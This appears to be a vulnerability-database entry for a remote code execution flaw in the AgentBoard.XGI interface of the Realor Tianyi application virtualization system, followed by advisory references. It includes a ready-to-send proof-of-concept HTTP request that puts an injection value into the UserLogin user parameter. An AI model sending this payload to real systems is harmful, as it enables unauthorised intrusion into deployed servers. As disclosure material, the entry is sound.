Description
瑞友天翼应用虚拟化系统 AgentBoard.XGI 接口存在远程代码执行漏洞.
瑞友天翼应用虚拟化系统 AgentBoard.XGI 远程代码执行漏洞
PoC
GET /AgentBoard.XGI?cmd=UserLogin&user='||'1 HTTP/1.1
Host:
Accept-Encoding: gzip
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.References
https://github.com/Threekiii/Vulnerability-Wiki/blob/master/docs-base/docs/webapp/%E7%91%9E%E5%8F%8B%E5%A4%A9%E7%BF%BC%E5%BA%94%E7%94%A8%E8%99%9A%E6%8B%9F%E5%8C%96%E7%B3%BB%E7%BB%9F-AgentBoard.XGI-%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.md
https://blog.csdn.net/qq_41904294/article/details/130231497
https://zhuanlan.zhihu.com/p/623035580
https://www.aqtd.com/nd.jsp?id=4973
https://www.ddpoc.com/DVB-2023-4406.html
https://www.cnblogs.com/hetianlab/p/hetianlab.html
https://stack.chaitin.com/techblog/detail/74
https://www.h3c.com/cn/d_202305/1844486_30003_0.htm
https://www.secrss.com/articles/53592
https://download.sangfor.com.cn/29f75a1788f64a16879228f4e914eb48.pdf
https://cert.360.cn/warning/detail?id=643507b6b308eb75670ae72f
https://cn-sec.com/archives/2741760.html
https://0xf4n9x.github.io/realor-tianyi-multiple-sqli2rce.html
https://www.dbappsecurity.com.cn/content/details2153_24903.html
https://rivers.chaitin.cn/blog/cq94u010lnechd2449v0
https://www.antiy.com/response.html
https://drun1baby.top/2024/06/07/%E7%91%9E%E5%8F%8B%E5%A4%A9%E7%BF%BC%E5%BA%94%E7%94%A8%E8%99%9A%E6%8B%9F%E5%8C%96%E7%B3%BB%E7%BB%9F-V7-0-5-1-%E5%A4%9A%E4%B8%AA%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/
https://y4tacker.github.io/2024/05/07/year/2024/5/%E6%B5%85%E6%9E%90%E7%91%9E%E5%8F%8B%E5%A4%A9%E7%BF%BC%E5%BA%94%E7%94%A8%E8%99%9A%E6%8B%9F%E5%8C%96%E7%B3%BB%E7%BB%9F%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C/